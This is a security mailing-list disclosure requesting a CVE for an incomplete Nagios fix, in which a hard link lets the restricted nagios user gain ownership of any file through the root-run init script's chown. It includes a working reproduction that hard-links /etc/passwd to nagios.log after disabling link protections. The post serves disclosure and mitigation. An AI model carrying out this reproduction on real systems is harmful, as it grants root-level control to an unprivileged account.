Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Fri, 30 Dec 2016 13:37:37 -0500
From: Michael Orlitzky <>
Subject: CVE request: Nagios: Incomplete fix for CVE-2016-8641

Author: Michael Orlitzky (
Software Name: Nagios
Vendor Name: Nagios Enterprises, LLC
Type of vulnerability: root privilege escalation
Reported to vendor: 2016-12-26

Exploit Vector
The init script for Nagios calls "chown" on a path under the control of
Nagios's (usually restricted) user. CVE-2016-8641 describes an attack
wherein that restricted user replaces the aforementioned path with a
symlink. The root user (via the init script) will -- the next time
Nagios is started -- give ownership of the symlink's target to Nagios's
user. In that manner, the restricted Nagios user can gain root.

An identical attack not addressed by CVE-2016-8641 works with hard
links. As long as no special kernel protections are in place, the
restricted Nagios user can replace the path (in the directory he
controls) by a hard-link. The call to "chown" in the init script affects
the target of that hard link.

Attack outcome
The restricted Nagios user gains control of any file on the same
filesystem as its runtime directory.

Affected versions
Versions 4.2.2 and older are affected by the symlink attack of
CVE-2016-8641; those and newer versions, up to the current version
4.2.4, are affected by the hard-link attack.

Source code
The fix for CVE-2016-8641 is contained in the following commit, which
prohibits "chown" from following symlinks only (via the --no-dereference

The creation of the problematic hard link is blocked if the user has the
fs.protected_hardlinks sysctl enabled. It is *not enabled* by default in
the vanilla Linux kernel, but some distributions patch that default.

It can be enabled with (as root):

  sysctl -w fs.protected_hardlinks=1

The grsecurity patches for the Linux kernel provide similar protection


The following commands should grant ownership of /etc/passwd to the new,
restricted "nagios" user. Beware that in order for the attack to work,
some important (but non-default) sysctls are disabled. The two paths
/etc/passwd and /usr/local/nagios must live on the same filesystem.
Afterwards you should re-enable the two sysctls (if they were enabled to
begin with), clean up /usr/local, and remove the "nagios" user.

  sudo mkdir -p /usr/local/tmp \
                /usr/local/etc/init.d \
  sudo chmod 777 /usr/local/tmp

  tar -xf release-4.2.4.tar.gz
  rm release-4.2.4.tar.gz
  cd nagioscore-release-4.2.4
  sudo useradd nagios -m -d /home/nagios
  ./configure --with-nagios-user=nagios \
              --with-temp-dir=/usr/local/tmp \
              --with-init-dir=/usr/local/etc/init.d \
  make all
  sudo make install
  sudo make install-config
  sudo make install-init
  sudo sysctl -w kernel.grsecurity.linking_restrictions=0
  sudo sysctl -w fs.protected_hardlinks=0

  sudo -u nagios -s
  ln -f /etc/passwd /usr/local/nagios/var/nagios.log

  sudo /usr/local/etc/init.d/nagios start
  ls /etc/passwd

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ